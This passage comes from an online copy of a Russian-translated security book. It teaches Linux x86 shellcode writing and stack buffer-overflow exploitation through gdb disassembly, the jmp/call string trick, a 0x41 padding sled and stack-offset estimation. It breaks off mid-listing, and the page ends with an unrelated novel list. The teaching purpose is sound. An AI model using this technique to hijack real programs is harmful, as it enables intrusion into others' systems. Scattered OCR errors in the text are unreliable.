Чтение онлайн

на главную - закладки

Жанры

Защита от хакеров корпоративных сетей

авторов Коллектив

Шрифт:

0x80481e9 <main+9>: push $0x9

0x80481eb <main+11>: push $0x808e248

0x80481f0 <main+16>: push $0x1

0x80481f2 <main+18>: call 0x804cc60 <__libc_write>

Для просмотра кода функции write в ответ на приглашение утилиты введем команду disas__libc_write . Получим следующее.

(gdb) disas __libc_write

Dump of assembler code for function __libc_write:

0x804cc60 <__libc_write>: push %EBX

0x804cc61 <__libc_write+1>: mov 0x10(%ESP,1),%EDX

0x804cc65 <__libc_write+5>: mov 0xc(%ESP,1),%ECX

0x804cc69 <__libc_write+9>: mov 0x8(%ESP,1),%EBX

0x804cc6d <__libc_write+13>: mov $0x4,%EAX

0x804cc72 <__libc_write+18>: int $0x80

0x804cc74 <__libc_write+20>: pop %EBX

0x804cc75 <__libc_write+21>: cmp $0xfffff001,%EAX

0x804cc7a <__libc_write+26>: jae 0x8052bb0 <__syscall_error>

0x804cc80 <__libc_write+32>: ret

End of assembler dump.

Начальная

команда push %EBX не так важна. Она сохраняет в стеке старое значение регистра EBX. В программе значение регистра изменяется, а затем восстанавливается командой pop %EBX. Еораздо интереснее последующие команды mov и int $0x80. Первые три команды mov переписывают данные, ранее сохраненные в стеке функцией main , в рабочие регистры. Четвертая команда mov подготавливает вызов функции write, помещая номер системного вызова в регистр EAX. При выполнении команды int $0x80 операционная система передает управление программе системного вызова по номеру, записанному в регистре EAX. Номер системного вызова функции write – 4. В файле «/usr/include/asm/unistd.h» перечислены все номера доступных системных вызовов.

0x804cc6d <__libc_write+13>: mov $0x4,%EAX 0x804cc72 <__libc_write+18>: int $0x80

Подведем итоги. Теперь известно, что функции write передается три параметра: длина записываемых данных, адрес строки источника, из которой переписываются данные, и адресат записи – дескриптор файла. Также теперь известно, что длина строки, в данном случае 9 байт, передается через регистр EDX, адрес строки записываемых данных через регистр ECX и дескриптор файла должен быть передан через регистр EBX. Таким образом, простой код вызова функции write без обработки ошибок выглядит следующим образом:

mov $0x9,%EDX

mov 0x808e248,%ECX

mov $0x1,%EBX

mov $0x4,%EAX

int $0x80

Зная ассемблерный вид вызова функции write, можно приступить к написанию управляющего кода (shellcode). Единственная сложность заключается во второй команде mov 0x808e248,%ECX с явно заданным адресом памяти. Проблема состоит в том, что нельзя прочитать из строки данные, не зная ее адрес, но нельзя узнать адрес строки, пока она не будет загружена в память. Для ее разрешения применима последовательность команд jmp/call. Найденное решение основано на алгоритме работы команды call: по команде call в стек записывается адрес следующей команды. Поэтому выход из трудного положения может быть следующим:

jump <string>

code:

pop %ECX

string:

call <code>

“our string\n”

По команде call в стек записывается адрес следующей команды и выполняется переход по указанной метке. На самом деле в стек загружается адрес строки, но для выполнения команды это безразлично. В результате на вершине стека оказывается адрес строки string\n. После перехода на метку code выполняется команда pop %ECX. Команда pop переписывает в заданный регистр данные с вершины стека. В данном случае в регистр ECX записывается адрес строки string\n. Осталось только для правильной работы программы очистить (обнулить) регистры от посторонних данных. Очистка регистров выполняется командами операция исключающее ИЛИxor или вычитания sub. Лучше использовать команду xor, потому что команда xor всегда обнуляет регистр и транслируется в быстрый компактный код. В системных вызовах для передачи параметров используются младшие байты регистров, поэтому обнуление регистров гарантирует правильную передачу параметров. В итоге фрагмент программы приобрел следующий вид:

jump string

code:

pop %ECX

xor %EBX, %EBX

xor %EDX, %EDX

xor %EAX, %EAX

mov $0x9,%EDX

mov $0x1,%EBX

mov $0x4,%EAX

int $0x80

string:

call code

“EXAMPLE\n”

После завершения работы над фрагментом управляющего кода следует решить вопрос о передачи ему управления из программы переполнения буфера. Для этого нужно подменить сохраненное в стеке значение регистра EIP на адрес управляющего кода. Когда функция bof уязвимой программы попытается вернуться в функцию main по

команде ret, она восстановит из стека сохраненное там значение регистра EIP и по команде перехода jmp перейдет по восстановленному адресу. Но где в памяти будет расположен управляющий код? Конкретнее, на какой адрес нужно подменить содержимое регистра EIP, сохраненное в стеке?

При помощи функции fread данные из файла считываются в размещенный в стеке восьмибайтовый буфер buffer. Известно, что программный код полезной нагрузки в конечном счете будет загружен из файла в стек. В UNIX-подобных системах во всех программах стек начинается с одного и того же адреса. Поэтому последнее, что осталось сделать, – это написать программу определения смещения области размещения программного кода полезной нагрузки в стеке относительно его начала.

Перед завершением своей работы функция передает вызвавшей ее программе код возврата в регистре EAX, чтобы та знала об успешном или неуспешном выполнении функции. Чтобы узнать ассемблерную реализацию фрагмента программы, отвечающего за передачу кода завершения, оттранслируем и дизассемблируем следующую программу:

$ cat ret.c

int main

{

return(0);

}

$ gcc ret.c -o ret

$ gdb ./ret

(gdb) disas main

Dump of assembler code for function main:

0x8048430 <main>: push %EBP

0x8048431 <main+1>: mov %ESP,%EBP

0x8048433 <main+3>: mov $0x0,%EAX <– here it is :)

0x8048438 <main+8>: pop %EBP

0x8048439 <main+9>: ret

0x804843a <main+10>: mov %ESI,%ESI

0x804843c <main+12>: nop

0x804843d <main+13>: nop

0x804843e <main+14>: nop

0x804843f <main+15>: nop

End of assembler dump.

(gdb)

Далее, вместо выполнения оператора возврата return (значение) пропустим его и перепишем значение ESP в регистр EAX. Таким способом значение регистра ESP может быть назначено переменной. Вот пример программы, отображающей содержимое регистра ESP:

–get_ESP.c–

unsigned long get_ESP(void)

{

__asm__(“movl %ESP,%EAX”);

}

int main

{

printf(“ESP: 0x%x\n”, get_ESP);

return(0);

}

–get_ESP.c–

Можно ли теперь, зная адрес начала стека, точно определить в нем место размещения управляющего кода? Нет, нельзя!

Но для разумной оценки адреса области размещения управляющего кода можно увеличить ее размер способом, аналогичным способу последовательности команд nop. В начале работы программы все регистры были очищены командами xor, поэтому в качестве заполнителя буфера можно воспользоваться одной из команд работы с регистром, которая не окажет влияния на работу программы. Например, команда inc 0 %>EAX, машинный код представляется шестнадцатеричным байтом 0x41, увеличивает значение регистра EAX на единицу. В управляющем коде регистр EAX перед использованием обнуляется. Поэтому при размещении перед первой командой jmp команд inc %EAX управляющий код будет прекрасно работать. В действительности в управляющем коде можно разметить столько команд inc %EAX, сколько захотим. В данном случае команда inc %EAX эквивалентна команде nop. Поэтому выберем размер управляющего кода равным 1000 байт и заполним его символами 0x41, другими словами, командой inc%EAX.

Определенная в программе переполнения буфера символическая константа OFFSET – предполагаемое смещение области размещения управляющего кода в стеке. В программе ему присвоено символическое значение ESP+1500.

Вот так в конечном счете выглядят управляющий код и программа переполнения:

#include <stdlib.h>

#include <stdio.h>

/***** Shellcode dev with GCC *****/

int main {

__asm__(”

jmp string # jump down to <string:>

Это команды, с которых фактически начинается программный код полезной нагрузки. Сначала обнуляются используемые в программе регистры, чтобы находящиеся в них данные не повлияли на работу управляющего кода:

xor %EBX, %EBX

xor %EDX, %EDX

xor %EAX, %EAX

# Now we are going to set up a call to the

write

#function. What we are doing is basically:

# write(1,EXAMPLE!\n,9);

# Syscall reference: /usr/include/asm/unistd.h

#

# write : syscall 4

#

Почти всем системным вызовам Linux параметры передаются через регистры. Параметры системного вызова <write> передаются через следующие регистры:

• ECX: адрес записываемых данных;

• EBX: дескриптор файла, в рассматриваемом случае используется дескриптор стандартного файла вывода stdout;

• EDX: длина записываемых данных.

Теперь в регистр EBX записывается нужный дескриптор файла. В данном случае дескриптор стандартного файла вывода stdout равен 1:

Поделиться:
Популярные книги

Месть бывшему. Замуж за босса

Россиус Анна
3. Власть. Страсть. Любовь
Любовные романы:
современные любовные романы
5.00
рейтинг книги
Месть бывшему. Замуж за босса

На границе империй. Том 7

INDIGO
7. Фортуна дама переменчивая
Фантастика:
боевая фантастика
космическая фантастика
попаданцы
6.75
рейтинг книги
На границе империй. Том 7

Барон Дубов 4

Карелин Сергей Витальевич
4. Его Дубейшество
Фантастика:
юмористическое фэнтези
аниме
сказочная фантастика
фэнтези
5.00
рейтинг книги
Барон Дубов 4

Магия чистых душ 3

Шах Ольга
Любовные романы:
любовно-фантастические романы
5.00
рейтинг книги
Магия чистых душ 3

Возвращение Безумного Бога 2

Тесленок Кирилл Геннадьевич
2. Возвращение Безумного Бога
Фантастика:
попаданцы
рпг
аниме
5.00
рейтинг книги
Возвращение Безумного Бога 2

Морозная гряда. Первый пояс

Игнатов Михаил Павлович
3. Путь
Фантастика:
фэнтези
7.91
рейтинг книги
Морозная гряда. Первый пояс

Магия чистых душ

Шах Ольга
Любовные романы:
любовно-фантастические романы
5.40
рейтинг книги
Магия чистых душ

Кротовский, не начинайте

Парсиев Дмитрий
2. РОС: Изнанка Империи
Фантастика:
городское фэнтези
попаданцы
альтернативная история
5.00
рейтинг книги
Кротовский, не начинайте

Вдова на выданье

Шах Ольга
Любовные романы:
любовно-фантастические романы
5.00
рейтинг книги
Вдова на выданье

Внебрачный сын Миллиардера

Громова Арина
Любовные романы:
современные любовные романы
короткие любовные романы
5.00
рейтинг книги
Внебрачный сын Миллиардера

Лейтенант космического флота

Борчанинов Геннадий
1. Звезды на погонах
Фантастика:
боевая фантастика
космическая фантастика
космоопера
рпг
фэнтези
фантастика: прочее
5.00
рейтинг книги
Лейтенант космического флота

Барон не играет по правилам

Ренгач Евгений
1. Закон сильного
Фантастика:
фэнтези
попаданцы
аниме
5.00
рейтинг книги
Барон не играет по правилам

Бастард

Майерс Александр
1. Династия
Фантастика:
попаданцы
аниме
фэнтези
5.00
рейтинг книги
Бастард

На границе империй. Том 9. Часть 2

INDIGO
15. Фортуна дама переменчивая
Фантастика:
космическая фантастика
попаданцы
5.00
рейтинг книги
На границе империй. Том 9. Часть 2